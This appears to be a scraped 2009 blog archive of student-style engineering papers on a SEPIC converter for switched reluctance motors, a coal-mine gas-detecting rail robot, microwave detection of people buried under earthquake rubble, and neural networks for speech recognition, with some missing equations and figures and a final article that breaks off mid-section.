This paper makes use of the esirable properties of the Single-Ended Primary Inductance Converter (SEPIC) working as a Power Factor Preregulator (PFP). For low power levels (approx. < 200W), it is designed to operate in the Discontinuous Conduction Mode (DCM). At constant duty cycle, the average input current automatically tracks to some extent the sinusoidal shape of the input voltage. This is realized without the need for sensing and controlling the input current, thus
simplifying the control circuit. Such a feature can be used to integrate the PFC stage with the output voltage regulation or inverter stage, which can lead to considerable cost reduction. For higher power levels where operation in DCM is not feasible, the converter is designed to operate in the Continuous Conduction Mode (CCM), and multiplier control is used to shape the input current.

This paper is organized as follows. The basic operation of SR motors is discussed in Section II. The proposed topology is introduced and its operation is described in Section III. Design examples for DCM and CCM operation are taken up in Section IV and simulation results are presented in Section V and Section VI concludes the paper.

II. SR MOTOR OPERATION

As shown in Fig. 3, the structure of a SR motor is simple. The motor has salient poles on both the stator and rotor. There are no windings or magnets on the rotor. The concentrated windings on the Stator are wound around each tooth, and diametrically opposite stator windings are connected in series or parallel. Several structures are possible depending on the desired characteristics. A 3-phase SR motor with a 6/4 structure (6 stator poles and 4 rotor poles) is considered in this paper.

The operation of the SR motor is based on the minimum reluctance principle, that is, the rotor will always try to align its poles with the position that provides minimum reluctance for the magnetic circuit. To make the rotor rotate in one direction, the stator phase windings are energized following a determined sequence. The stator conduction sequence must be synchronized to the rotor position by means of a position sensor. Since the inductances of the stator windings depend on the reluctance of the magnetic circuit, they vary as a function of the rotor position. For the structure shown in Fig. 3, the variation of the phase inductances is approximately of the form shown in Fig. 4 when saturation is neglected. The developed electromagnetic torque can be calculated by considering the variation of the system coenergy with angular position.

If saturation is neglected it can be shown that the motor torque is given by

where i is the instantaneous stator current and dL/d __is the variation of phase inductance with rotor position. The developed torque is proportional to the square of the current so that it is independent of the current direction. This means that the converter is only required to produce unidirectional currents. Positive torque is produced by injecting constant currents into the phases during the rising portions of their inductance profiles, and negative torque by exciting the phases when their inductances are decreasing. As a result, motoring or braking operation can be obtained simply by changing the switching angle of the current in the stator windings. The rotation direction can be changed by inverting the switching sequence of the converter switches.

PROPOSED CONVERTER
TOPOLOGY

The proposed converter with four controlled switches and diodes is shown in Fig. 5. The front-end consists of a SEPIC dc/dc converter comprised of inductors L1 and L2, switch S1, intermediate capacitor C1, diode D1 and output capacitor C2. A, B and C are the three machine windings, and the currents through them are controlled by turn-on and turn-off of the switches SA, SB and SC respectively. The diodes DA, DB and DC serve to freewheel the winding currents when the switches are turned off during current regulation and phase commutation. The output of the converter is used to energize the three phases of the motor, and the voltage of capacitor C1 is used to demagnetize the phases during turn-off and for current control. At low speeds, when the backemf is low, the switching frequency of the phase switches increases in order to regulate the phase current. The switching frequency and hence the losses at low speeds are minimized by bucking the input voltage to lower levels at the output Vdc. At higher speeds, the current regulator loses its ability to force current into the phases especially during turn-on because of the high back emf voltage. The ability of the SEPIC front-end to boost the available input voltage makes it possible to maintain current regulated operation of the drive at higher speeds. This feature makes the proposed topology particularly suitable for low voltage dc applications such as automotive circuits. For applications requiring operation from an ac supply, it is desired to obtain improved power factor. The front-end converter could be designed to operate either in DCM or CCM. For low power levels, it is preferable to operate the SEPIC front-end in DCM, and the following desirable characteristics are obtained .The converter works as a voltage follower, meaning that the input current naturally follows the input voltage profile and the theoretical power factor is unity. The phase currents are regulated to their reference values by hysteresis control of the phase switches. Position inputs from an encoder are used to generate the commutation signals for the inverter. For ideal voltage follower operation, the intermediate capacitor voltage should follow the half-sinusoidal input voltage, and goes to zero in each half-cycle. However, with a SR motor load, the Inter-mediate capacitor voltage has to be greater than the phase back-emf for proper demagnetization of the phases. This causes a distortion of the input current waveform around the zero-crossings of the input voltage. However, this is acceptable because the input current shaping is achieved at no cost to the drive, and a high power factor is still obtained. There is a practical limit to the power level upto which dc/dc converters can be operated in DCM. Beyond about 300W, CCM operation is necessary. The multiplier approach can be used to actively shape the input current when the front-end converter is operating in CCM.

DESIGN EXAMPLES

Two design examples are considered: One for the DCM case rated 100W, and the other operating in CCM rated 300W. The following equations are used to calculate the component values:
Input voltage Vac = 50 sin (260t) V DC bus voltage Vdc = 25 V
Switching frequency of S1, fs = 25kHz
Voltage conversion ratio M =25/50= 0.5
Critical conduction parameter
Ka,crit = 0.5/(M+1)2 = 0.228
Ka = 0.16 is chosen to ensure DCM operation
Duty cycle of S1, d = _2M_Ka = 0.271
Equivalent inductance Leq = RTsKa/2 = 28.8µH
Input current ripple I rip = 20% I1 = 0.8A
L1 = V1dTs/Irip = 677µH
L2 = L1Leq/(L1-Leq) = 30µH
C1 = 1/(__2(L1+L2)) = 5.8µF.

The actual value of C1 should be higher to minimize the voltage ripple caused by the freewheeling phase currents and is determined by simulation to be 10µF.The following component values are used for the CCM design with the same input and dc bus voltages and switching frequency as the
DCM design:
L1 = 1.44mH
L2 = 0.255mH
C1 = 10µF.

SIMULATION RESULTS
The input current plotted in Fig. 6(a) is seen to follow the input voltage waveform. Fig. 6(b) shows the intermediate capacitor voltage waveform. In an ideal PFP, this would go to zero in each half-cycle of the input voltage, but in this case, its minimum value is limited to the peak phase back-emf. This results in some distortion of the input current around the zero-crossing of the input voltage. The phase currents. The waveforms in CCM mode of operation are shown in

CONCLUSIONS
A new converter topology with a SEPIC front end has been proposed for SR motors. The proposed scheme has the following advantages: It uses only four controlled switches, all of which are referenced to ground. This considerably simplifies their gate drive circuitry and results in low cost and compact packaging. In low-voltage dc applications, it is capable of boosting the available input dc voltage to maximize the current regulated operation of the drive. For ac supply applications, it can be designed for operating either in DCM or in CCM depending on the power level and a high power factor can be obtained. The front-end converter performs the tasks of power factor correction as well as phase-de fluxing, thus keeping the component count low.

ROBOTICS FOR PILOT WATCHING

2009-12-28T23:20:00.000-08:00

ABSTRACT

To protect the coal mines labour from mines accident due to dangerous gas and land escape etc, here we submit this presentation. In this system rail guided robo vehicle is sent into mines before labour enter into the location (mines). This robo check some dangerous parameter using some sensor arrangement. If there is any dangerous thing like CO gas presented, it is recorded by voice system and informs the message to responsible person. By this system we can save mines labour from mines accident. The robo vehicle consists of start and stop buttons for it’s to and fro motion. This vehicle also equipped with CO sensor, fire sensor and object detecting sensor. These sensors are resistor sensor.
The resistor of the sensor varied with atmospheric condition. The whole process is carried on using microcontroller IC 89C51 based embedded system. This system also has facility to detect the object in the rail track. If there is any object in the rail it is immediately inform the message to base station

INTRODUCTION

The accidents are occurred in depth coal mines due to presence of CO (or) LPG in the atmosphere. The CO gas has dangerous property. This gas slowly kills the human without any disturbance. So it is very important to detect the presence of CO in the depth coal mines atmosphere. Based on the above problem here we develop a electrics and sensor based manless pilot vehicle to detect the presence of CO gas in depth coal mines. This manless robo vehicle trenched through rail track and checks the presence of CO in the atmosphere. The vehicle also has the specialty to check the fire accident in the coal mines. All type of dangerous problem is recorded using voice information system. The recorded information is communicated to people who are going to work in coal mines. This presentation is very useful for depth and narrow coal mines.

Description:
Object Detector:
This block consists of IR (Infrared) sensor to detect the object in the track. The front end of the robo is equipped to detect the presence of the object in the track. The LED type IR emitter and IR detector is housed in same cabin, so the reflection of IR rays is observed by IR detector at presence of object in the track.

Start Button:
This block consists of push to ON button to start the process of robo vehicle in one track. After this process only all the circuits in the robo vehicle get power to start its process.

End Limit Switch:
This block consists of limit switch at the end of the track. This switch is activated by robo vehicle at the end of the track. This switch is informed the robo vehicle about end stage of track.

CO Sensor:
This block consists of CO sensor to detect the presence of CO in the mines. It is a resistive sensor; the resistance of the sensor is varied with atmosphere condition. The presences of CO at open space vary the resistance of the sensor. In this way CO presence is detected.

Fire Sensor:
This block consists of thermistor based fire sensor to detect the fire in the coal mines. It is a RTD (Resistive Temperature Detector) type temperature sensor. The fire in a location is affecting the atmospheric temperature. The temperature variations in the atmospheric vary the resistance of the sensor. Then resistance variation is converted as voltage variation to detect the fire in the mines.

Transmitter:
This block consists of transistor BF494 based carrier generator and modulator. The carrier is generated using LC based tank circuit. The modulation is done using transistor BF494. The modulate frequency is transmitted through wire antenna. The carrier frequency range in between 88 MHz to 108 MHz. The frequency modulation is carrier on here.

Decoder:
This block consists of IC 8870 based DTMF to BCD decoder circuit. This IC converts dual tone multi frequency from 1 to 12 into BCD Values. This system compares the input DTMF signal with preset DTMF value and producer corresponding BCD value. The pin 15 gives short duration signal for acknowledgement purpose.
Receiver:
This block consists of IC CX1619 Sony FM receiver. This package receives frequency from 88 MHz to 108Mhz. the receiving and demodulation process is carried on this package. The output is in the analog (or) digital. Here output is DTMF code.

Encoder:
This block consists of IC 91214B based DTMF code generator. The DTMF code generator is normally used in telephone dialing system. But here we used for generating code for different operation. By using this arrangement, we can generate 12 different codes. This code frequency is in audio range. The output code is multiplication of two differ frequency.

Microcontroller:
This block consists of IC 89C51 based microcontroller system. It is an 8 bit microcontroller and has four 8 bit ports for data communication. Here port 1 and port 2 used as input and output port respectively.
Here port 1 receiver the signal from comparator circuit. In output side there port lines are used for buzzer, relay and code generator switching.
Relay Driver:
This block consists of the transistor BEL100N based relay driver circuit to drive the relay when get the signal from the latch circuit. By using the driver we can drive the 100mA load. Here we use drive 40mA relay load.
Relay:
This block consists of the 12V, 300 relay to switch the electrical home appliances. The no contacts of the relay are used to switch the devices.
Forward & Reverse Relay:
This block consists of 12V/300 relay to control the direction of robo vehicle motor. By using relay logic, the polarity of the motor is changed to change the direction of vehicle.

Robo Motor:
This block consists of 12V DC Motor to drive the robo vehicle by changing the polarity we can change the rotation of the motor.
Voice Recorder & Player:
This block consists of IC APR9600 based voice recorder and player. By using this player we can store voice up to 1miniute, it also has feature to divide total time into eight locations. This operation is possible by keeping the status of message selection pin. The recording and play is done using record and play pin at ground status.
Speaker:
It is an 8 speaker to produce voice output for corresponding electrical signal. It is an inductive type speaker with 2 inch diameter. Energy transformation is carried in here.

Gas sensing circuit description:
The presence of LPG in the atmosphere is sensed by chemical sensor. It is a six leg gas sensor. It has filament and LPG sensing chemical resistor. The pin 2 and 5 is connected to 5V power supply. It is a filament resistor. The pin 1, 3, 4, 6 are chemical resistor area. The resistance of this area is affected by LPG gas presence in the atmosphere. The resistance of the sensor is reduced to low value at the presence of LPG gas. The sensor and 10K, 10 resistor are formed voltage divider circuit. Based on the presence of LPG gases voltage drop in the 10K resistor is affected. This variation is taken to IC LM324 based comparator circuit where it is wired as higher comparator. The comparator produce output at presence of LPG gas at atmosphere.

Circuit Operation & Description For Temperature Censor
The heart of the circuit is IC LM35 based temperature sensor. It is an industrial standard high quality temperature transducer. This sensor directly converts temperature into millivolt output. For every degree celsius rise it produces 10mv. In our circuit, 10mv is divided as 1mv for monitoring purpose. The 10K, 1K base voltage divider

circuit produce 1mv for every degree celsius rise. The voltage signal from sensor as taken to multiplexer and comparator circuit. The comparator is designed using IC LM324 based comparator circuit. By using 1K and 10K based voltage divider circuit, reference value for each comparator is set. In output side, heater is controlled through relay. By using transistor BEL100N based relay driver 12V/300 relay is derived. This circuit is used to monitoring the temperature as well as control the temperature of the chamber.

ADVANTAGES

1. This pilot robo vehicle is equipped with CO sensor, and temperature sensor so CO pressure and, fire restated problem is easily detected and communicated.
2. The manless pilot robo system totally avoided the death loss of coal mines labour.
3. There is no separate path is needed, the existing rail tray is used to guide the robo vehicle.
4. The chemical resistance based CO sensors easily sense the presence of CO at reasonable distance.
5. The concept automatic operation makes the process of accident detection very easy.

CONCLUSION

The presentation “Pilot Robo Coal Vehicle for Coal Mines” is very useful presentation for coal mines works. All the blocks in this system is working very satisfactorily. In our demo system we use ear phone to know the status of coal atmosphere. In real time application it may be converted as open speaker system. To detect the different problem, life LPG presence we can use separate sensor. Otherwise this system gives expected result.

A NEW REVOLUTIONARY SYSTEM TO DETECT HUMAN BEING BURRIED DURING EARTHQUAKE

2009-12-28T23:17:00.000-08:00

ABSTRACT
“Thousands of persons killed as a cause of earthquake”. The above words aren’t the headlines of the newspaper but daily news everyone come across whenever we go through a newspapers or watching over a TC news.
A person’s life is precious and meaningful to his loved ones.
We, as responsible Engineers felt a part of society to bring a system to avoid these mishaps. With the meteoric Embedded systems along with microprocessor our designed system preventing deaths and providing safe guided measures.
A new revolutionary microwave like detection system, which is used to locate human beings buried under earthquake rubble, has been designed. This system operation at certain frequency can remotely detect the breathing and heart heat signals of human beings buried under earthquake rubble. By proper processing of these signals, the status of the person under trap can be easily judges. This entire process takes place within a few seconds as the system is controlled by a microprocessor (8085) or microcontroller unit
By advent of this system the world death rate may decrease to greater extent al large percentage of death occur due to earthquake.
We wish and welcome you to a safe journey of this paper.

INTRODUCTION
At present as we all know the need of the hour is to find an effective method for rescuing people bride under earthquake rubble (or) collapsing building. It has to be done before we experience another quake. Present methods for searching and rescuing victims buried (of) tapped under earthquake rubble are not effective. Taking all the factors in mind, a system which will be really effective to solve the problem has been designed.

PRINCIPLE OF OPERATION
The basic principle is that when a microwave beam of certain frequency (L or S band or UHF band ) is aimed at a portion of rubble or collapsed building under which a person has been trapped, the microwave beam can penetrate through the rubble to reach the person.
When the microwave beam focuses the person, the reflected wave from the person’s body will be modulated or changed by his/her movements, which include breathing and heartbeat. Simultaneously, reflected waves are also received from the collapsed structures.
So, if these reflected waves from the immovable debris are cancelled and the reflected waves from the person’s body are properly distinguished, the breathing and heart beat signals can be detected.
By proper processing of these signals, the status of the person under trap can be easily judged. Thus a person under debris can be identified.

MAJOR COMPONENTS OF THE CIRCUIT
The microwave life detection system has four major components. They are
 A microwave circuit which generates, amplifies and distributes microwave signals to different microwave components.
 A microwave controlled clutter cancellation system, which creates an optimal signal to cancel the clutter from the rubble.
 A dual antenna system, which consists of two antennas, energized sequentially.
 A laptop computer which controls the microprocessor and acts as the monitor for the output signal.
WORKING FREQUENCY
The frequency computer of the microwave falls under two categories, depending on the type and nature of the collapsed building. They are
 L or S band frequency say 1150 MHz
 UHF band frequency say 450 MHz
 Let us see the advantages and disadvantages of both the systems later

CIRCUIT DESCRIPTION
The circuit description is as follows
Phase locked oscillator
The phase locked oscillator generates a very stable electromagnetic wave say 1150 MHz with output power say 400mW.
Directional coupler 1(10 dB)
This wave is then fed through a 10 dB directional coupler and a circulator before reaching a radio frequency switch, which energizes the dual antenna system. Also, the 10 dB directional coupler braches out 1/10th of the wave(40mW) which is then divided equally by a directional coupler2 (3dB).
Directional coupler 2 (3 dB)
One out put of the 3 dB directional coupler 2 (20mW) drives the clutter cancellation unit. Other output (20mW) serves as a local reference signal for the double balanced mixer.
Antenna system
The dual antenna system has two antenna, which are energized sequentially by an electronic switch. Each antenna acts separately.
Clutter cancellation unit
The clutter cancellation unit consists of
1.A digitally controlled phase shifter I
2.A fixed attenuator
3.A RF amplifier
4.A digitally controlled attenuator

WORKING
Clutter cancellation of the received signal
 The wave radiated by the antenna I penetrates the earthquake rubble to reach the buried person.
 The reflected wave received by the antenna 2 consists of a large reflected wave from the rubble and a small-reflected wave from the person’s body.
 The large clutter from the rubble can be cancelled by a clutter-canceling signal.
 The small reflected wave from the person’s body cannot be cancelled by a pure sinusoidal canceling because it is modulated by his/her movements.
 The output of the clutter cancellation circuit is automatically adjusted to be of equal amplitude and opposite phase as that of the clutter from the rubble.
 Thus, when the output of the clutter cancellation circuit is combined with the directional coupler 3 (3 dB), the large clutter from the rubble is completely cancelled.
 Now, the output of the directional coupler 3 (3dB) is passed through a directional coupler 4 (6dB).
 One-forth of the output is directed is amplified by a RF pre-amplifier and then mixed with local reference signal in a double balanced mixer.
 Three-forth of the output is directed by a microwave detector ot provide a dc output, which serves as the indicator for the degree of clutter cancellation.
 When the settings of the digitally controlled phase shifter and the attenuator are swept the microprocessor control system, the output of the microwave detector varies accordingly.
Demodulation of the clutter cancelled signal
 At the double balanced mixer, the amplified signal of the reflected wave from the person’s body is mixed with the local reference signal.
 The phase of the local reference signal is controlled by another digitally controlled phase shifter 2 for an optimal output from the mixer.
 The output of the mixer consists of the breathing and heart beat signals of the human plus some unavoidable noise.
 This output is fed through a low frequency amplifier and a band pass filter ( 0.4 Hz) before displayed on the monitor.
 The function of the digitally controlled phase shifter 2 is to control the phase of the local reference signal for the purpose of increasing the system sensitivity.
 The reflected signal from the person’s body after amplification by the pre-amplifier is mixed with the reference signal in a double balanced mixer.
MICROPROCESSOR CONTROL UNIT
The algorithm and flowcharts for the antenna system and the clutter cancellation system are as follows:

Antenna system
1. Initially the switch is kept in position 1 (signal is transmitted through the antenna 1)
2. Wait for some predetermined sending time, Ts
3. Then the switch is thrown to position 2 (signal is received through the antenna 2)
4. Wait for some predetermined receiving time, Tr
5. Go to step 1
6. Repeat the above procedure for some predetermined time, T.
Clutter cancellation system:
1. Send the signal to the rubble through antenna 1.
2. Receive the signal from the rubble through antenna 2.
3. Check the detector output. If it is within the predetermined limits go to step 5.
4. Other wise send the correction signal to the digitally controlled phase shifter 1 and attenuator and go to step1.
5. Check the sensitivity of the mixer. If it is optimum go to step 7.
6. Otherwise send the correction signal to the digitally controlled phase shifter 2 to change the phase and go to step 1.Process the signal and send it to the laptop.

ADVANTAGES OF L OR S BAND FREQUECNY SYSTEM
Microwaves of L or S band frequency can penetrate the rubble with metallic mesh easier than that of UHF band frequency waves.

ADVANTAGES OF UHF BAND FREQUECNY SYSTEM
Microwaves of UHF band frequency can penetrate deeper in rubble (without metallic mesh) than that of L or S band frequency waves.

FREQUENCY RANGE OF BREATHING AND HEARTBEAT SIGNAL
The frequency range of heartbeat and breathing signals of human beings lies between 0.2 and 3 Hz.

HIGHLIGHTS
1. The location of the person under the rubble can be know by calculating the time lapse between the sending time, Ts and receiving time, Tr
2. Since it will not be possible to continuously watch the system under critical situations, an alarm system has been set, so that whenever the laptop computer system processes the received signal and identifies that there is a human being, the alarm sound starts.
3. Also under critical situations, where living beings other than humans are not required to be found out, the system can detect a signals of other living beings based of the frequency of the breathing and heart beat signals.

CONCLUSION
Thus a new sensitive life detection system using microwave radiation for location human beings buried under earthquake rubble or hidden behind various barriers has been designed. This system operation either at L or S band, UHF band can detect the breathing and heartbeat signals of human beings buried under earthquake rubble.

Neural Network

2009-12-28T23:12:00.000-08:00

An introduction:
Neural-networks is one of those words that is getting fashionable in the new era of technology.An Artificial Neural Network (ANN) is an information processing paradigm that is inspired by the way biological nervous systems, such as the brain, process information. The key element of this paradigm is the novel structure of the information processing system. It is composed of a large number of highly interconnected processing elements (neurones) working in unison to solve specific problems .
A neural network is a circuit composed of a very large number of simple processing elements that are neurally based. ANNs, learn by example.
Neural network - features:
Neural networks, with their remarkable ability to derive meaning from complicated or imprecise data, can be used to extract patterns and detect trends that are too complex to be noticed by either humans or other computer techniques.
Other advantages include:
• Adaptive learning: An ability to learn how to do tasks based on the data given for training or initial experience.
• Self-Organisation: An ANN can create its own organisation or representation of the information it receives during learning time.
• Real Time Operation: ANN computations may be carried out in parallel, and special hardware devices are being designed and manufactured which take advantage of this capability.
• Fault Tolerance via Redundant Information Coding: Partial destruction of a network leads to the corresponding degradation of performance. However, some network capabilities may be retained even with major network damage.
Human and Artificial Neurones :
Human neuron:
 In the human brain, a typical neuron collects signals from others through a host of fine structures called dendrites. The neuron sends out spikes of electrical activity through a long, thin stand known as an axon, which splits into thousands of branches.
 At the end of each branch, a structure called a synapse converts the activity from the axon into electro-chemical effects that inhibit or excite activity in the connected neurones. When a neuron receives excitatory input that is sufficiently large compared with its inhibitory input, it sends a spike of electrical activity down its axon.

Human neurons related to artificial neuron:
The first artificial neuron was produced in 1943 by the neurophysiologist Warren McCulloch and the logician Walter Pits. To capture the essence of biological neural systems, an artificial neuron is defined as :
• It receives a number of inputs (either from original data, or from the output of other neurons). Each input comes via a connection that has a strength (or weight); these weights correspond to synaptic efficacy in a biological neuron. Each neuron also has a single threshold value. The weighted sum of the inputs is formed, and the threshold subtracted, to compose the activation of the neuron .This is known as the post synaptic potential or PSP of the neuron
• The activation signal is passed through an activation function .This is also known as a transfer function to produce the output of the neuron.
Firing rules:
• The firing rule is an important concept in neural networks and accounts for their high flexibility. A firing rule determines how one calculates whether a neuron should fire for any input pattern. It relates to all the input patterns, not only the ones on which the node was trained.
• A simple firing rule can be implemented by using Hamming distance technique. rule goes as follows:
• Take a collection of training patterns for a node, some of which cause it to fire (the 1-taught set of patterns) and others which prevent it from doing so (the 0-taught set). Then the patterns not in the collection cause the node to fire if, on comparison , they have more input elements in common with the 'nearest' pattern in the 1-taught set than with the 'nearest' pattern in the 0-taught set. If there is a tie, then the pattern remains in the undefined state.
• For example, a 3-input neuron is taught to output 1 when the input (X1,X2 and X3) is 111 or 101 and to output 0 when the input is 000 or 001.
• As an example of the way the firing rule is applied, take the pattern 010. It differs from 000 in 1 element, from 001 in 2 elements, from 101 in 3 elements and from 111 in 2 elements. Therefore, the 'nearest' pattern is 000 which belongs in the 0-taught set. Thus the firing rule requires that the neuron should not fire when the input is 001. On the other hand, 011 is equally distant from two taught patterns that have different outputs and thus the output stays undefined (0/1).
• The difference between the two truth tables is called the generalisation of the neuron. Therefore the firing rule gives the neuron a sense of similarity and enables it to respond 'sensibly' to patterns not seen during training.
Architecture of neural networks:
Feed-forward networks:
Feed-forward ANNs allow signals to travel one way only; from input to output. There is no feedback (loops) i.e. the output of any layer does not affect that same layer. Feed-forward ANNs tend to be straight forward networks that associate inputs with outputs. They are extensively used in pattern recognition. This type of organisation is also referred to as bottom-up or top-down.
Feedback networks:
Feedback networks can have signals travelling in both directions by introducing loops in the network. Feedback networks are very powerful and can get extremely complicated. Feedback networks are dynamic; their 'state' is changing continuously until they reach an equilibrium point. They remain at the equilibrium point until the input changes and a new equilibrium needs to be found.

Network layers:
The commonest type of artificial neural network consists of three groups, or layers, of units: a layer of "input" units is connected to a layer of "hidden" units, which is connected to a layer of "output" units
The activity of the input units represents the raw information that is fed into the network.
The activity of each hidden unit is determined by the activities of the input units and the weights on the connections between the input and the hidden units.
The behaviour of the output units depends on the activity of the hidden units and the weights between the hidden and output units.
There are also single layer and multiplayer architecture.
Transfer FunctionThe behaviour of an Artificial Neural Network depends on both the weights and the input-output function ie.,transfer function that is specified for units. This function typically falls into one of three categories:
linear (or ramp)
threshold
sigmoid
For linear units, the output activity is proportional to the total weighted output.
For threshold units, the output is set at one of two levels, depending on whether the total input is greater than or less than some threshold value.
For sigmoid units, the output varies continuously but not linearly as the input changes. Sigmoid units bear a greater resemblance to real neurones than do linear or threshold units, but all three must be considered rough approximations.

Applications of neural networks
Neural Networks in Practice
Neural networks have broad applicability to real world business problems. In fact, they have already been successfully applied in many industries.
Since neural networks are best at identifying patterns or trends in data, they are well suited for prediction or forecasting needs including:
sales forecasting
industrial process control
customer research
data validation
risk management
target marketing
But to give you some more specific examples; ANN are also used in the following specific paradigms: recognition of speakers in communications; diagnosis of hepatitis; recovery of telecommunications from faulty software; recognition; hand-written word recognition; and facial recognition.,speech recognition.

Now let see in detail speech recognitNion
Speech recognition :
• Speech recognition work is one of the most exciting areas of modern computer science research. For the computers to understand speech and gesture.The sheer variety and complexity of a word makes recognizing similar words very difficult. . A neural network is a model of the way in which the human brain works. They are ideally suited to all forms of pattern recognition and have the extraordinary ability to learn .
• For this recognition, neural network is used. A neural network is a collection of layers of neurons, simulating the human brain structure. Each layer of neurons is connected to the next, but each connection has a certain weight. Every time the neural network processes some input, it adjusts these weights to make the output closer to a given desired value.
Neural network in speech recognition:
• Neural Networks are capable of incorporating multiple heterogeneous input features, which do not need to be treated as independent, finding the optimal combination of these features for classification. The purpose of this work is the exploitation of this potentiality of Neural Networks to improve the speech recognition accuracy. The multiple input features coming from different parameterization algorithms are combined through a network architecture called Multi-Source NN, designed to obtain the best synergy from them.

Steps involved in recognition:
The Recognition Process:
There are four basic steps to performing recognition. Each step is explained below:
 First, we digitize the speech that we want to recognize; for telephone speech the sampling rate is 8000 samples per second.
 Second, we compute features that represent the spectral-domain content of the speech.This is regions of strong energy at particular frequencies. These features are computed every 10 msec, with one 10-msec section called a frame.
 Third, a neural network ( multi-layer perceptron, or MLP) is used to classify a set of these features into phonetic-based categories at each frame.
 Fourth, a Viterbi search is used to match the neural-network output scores to the target words (the words that are assumed to be in the input speech), in order to determine the word that was most likely uttered.

It is also possible to analyze the results by looking at the confidence we have in the top-scoring word. The word can be rejected as out-of-vocabulary if the confidence falls below a pre-determined threshold. The confidence values are always computed by the CSLU Toolkit during recognition, but we currently do not use these values during general-purpose recognition.
Overview
The overview of the recognition process:
i. The digitized waveform is converted into a spectral-domain representation; one of two sets of features may be used, depending on the recognizer. For the current general-purpose recognizer, we use twelve mel-frequency cepstral coefficients (MFCC coefficients), twelve MFCC delta features that indicate the degree of spectral change, one energy feature, and one delta-energy feature (for a total of 26 features per frame). Cepstral-mean-subtraction (CMS) of the MFCC coefficients is done to remove some of the effects of noise. For the latest digit recognizer (to be released with version 2.0 of the Toolkit), we use twelve MFCC features with CMS, one energy feature from MFCC analysis, twelve perceptual-linear prediction (PLP) features with noise reduction by RASTA processing, and one energy feature from PLP analysis (for a total of 26 features per frame).

ii. To provide some information about the acoustic content we take a context window of features, as shown by the vertical lines in the upper-right diagram in Figure. This means simply taking the frame of interest as well as frames that are -60, -30, 30, and 60 msec away from the frame of interest.

iii. We send the features in a context window to a neural network for classification (26 features per frame at 5 frames = 130 features). The output of the neural network is a classification of each input frame, measured in terms of the probabilities of phoneme-based categories. By sending context windows for all frames of speech to the neural network, we can build a matrix of the probabilities of phoneme-based categories over time.
iv. The target-word pronunciations are then expanded into strings of phonetic-based categories, and a Viterbi search is used to find the best path through the matrix of probabilities for each legal string. The output of recognition is the word string that corresponds to this best path.
Context-Dependent Modeling:

The method of using broad contexts results in 576 categories for all American English phonemes, which is more computationally feasible. In addition, categories that do not occur often in the training corpora can be tied to acoustically similar categories that have more training data; in this way, the number of categories to train on can be reduced from 576 to 544. The current general purpose network has 544 output categories, but the phonemes belonging to each broad context were determined using a data-driven method rather than acoustic-phonetic knowledge.

APPLICATION:
• Its important application is the brain maker neural nework which recognizes voice mail.
Everyone is familiar with voice mail technology. You call a business and a voice directs you to use your touch-tone phone to direct your call or to leave a voice message. Of course if you don't have a touch-tone phone, the current voice mail technology isn't accessible, and you need to wait for the operator to help you - unless the system contains a neural network.
By using BrainMaker to train neural networks for speech recognition, that will make voice recognition technology affordable to small and medium sized businesses around the world. Soon, we will be able to reach the voice mail box of the desired party by phone or fax whether you have touch-tone phone or not.
Currently,by this method,the network was trained using 2500 facts and 28 words, including the numbers "zero" through "nine", the words, "yes" and "no", and the names of various departments within the company. The degree of recognition accuracy ranges from 90-97%.

This network has 400 input neurons, 107 hidden neurons and, at the present time, the output layer has 28 neurons. This will eventually change as more words are added. The output of the network is the recognition of the spoken word which is drawn from a symbol table. This kind of voice recognition system is ideal for small and medium sized businesses.
Once this system is on the market,this will turn attention to developing a phonic-based system. The caller will be able to pronounce a word and have the system convert it directly to text. This would be a big advantage to the deaf. A deaf person could read a voice message as it is printed on screen or print a message back and have it translated into voice.

CONCLUSION:
The computing world has a lot to gain fron neural networks. Their ability to learn by example makes them very flexible and powerful. Neural networks also contribute to other areas of research such as neurology and psychology.

LIFE SAVING EMBEDDED SYSTEMS

2009-12-28T23:07:00.000-08:00

ABSTRACT:-
Nowadays technology is developing more and more in our day to day life. Many inventions have been found out. But still there is no method to save the human life those who have buried due to earth quake. Many people lost their life due to earth quake. In this paper we had bring a system to avoid these mishaps with the help of embedded system along with microprocessor. A new microwave life detection system which is used to locate human beings buried under earth quake rubble has been designed. This system operating at certain frequency can detect the breathing and heartbeat signals of human beings. Using the signals, the status of person under trap can be easily judged. The entire processes take place within a few microseconds. Hence by using this system the world death rate can be reduced and the people died due to earth quake.

Introduction:-
At present as we all know the need of hour is to find an effective method for rescuing people buried under earth quake rubble or collapsing building. so we have to find the solution before we experience another earth quake. Present methods for searching and rescuing victims buried or tapped under earth quake rubble are not effective. Hence we have designed the system with the help of embedded system and microprocessor which will be very much effective to solve these problems. The cost for designing this system is low. We have also implemented the flowchart how the signal is sent and received.

What Is Embedded System?

Embedded system is a special-purpose system in which the computer is completely encapsulated by or dedicated to the device or system it controls. Unlike a general-purpose computer, such as a personal computer an embedded system performs one or a few pre-defined tasks, usually with very specific requirements. Since the system is dedicated to specific tasks, design engineers can optimize it, reducing the size and cost of the product. Embedded systems are often mass-produced, benefiting from economics of sale.

Principle of operation:-
When a microwave beam of certain frequency (L or S band or UHF band) is aimed at a portion of rubble or collapsed building under which a person has been trapped, the microwave beam can penetrate through the rubble to reach the person.
When a person is focused by the micro wave beam, the reflected wave from the person’s body will be modulated or changed by their movement’s which breathing and heart beat. Simultaneously reflected waves are also received from the collapsed structures.
Hence if these reflected waves from the immovable debris are cancelled and the reflected wave from the person’s body is properly distinguished, the breathing and heart beat signals can be detected.

By proper processing of these signals, the status of the person under trap can be easily judged. Thus a person under debris can be identified.

Working frequency:-

The frequency of the microwave is classified based on the type and nurture of the collapsed building. They are
• L or S band frequency 1150 MHZ
• UHF band frequency 450 MHZ

Major components of the circuit:-
• A Microwave circuit generates, amplifies and distributes microwave signals to different microwave components.
• A microwave controlled clutter cancellation system, which creates an optimal signal to cancel the clutter from the rubble.
• A dual antenna system which consists of two antennas, energized sequentially.
• A laptop computer which controls the microprocessor and acts as the monitor for the output signal.
• The mixer present mixes the signal RF pre-amplifier and the signal from digital controlled oscillator.
• An attenuator is an electronic device that reduces the amplitude or power of a signal without appreciably distorting its waveform. Attenuators are usually passive devices made from resistors. The degree of attenuation may be fixed, continuously adjustable, or incrementally adjustable. we are using fixed attenuator.
• LF amplifier and filter which amplifies the necessary signal and filter out the unwanted signal.
• Detector is used which receives the signals coming from directional coupler and send it to the microprocessor where the process take place and send it to the computer or laptop.

Circuit Description:-
Phase locked Oscillator:-
• The phase locked loop generates a very stable electromagnetic wave say 1150MHZ with output power say 400MW.

Directional Coupler 1(10dB):-
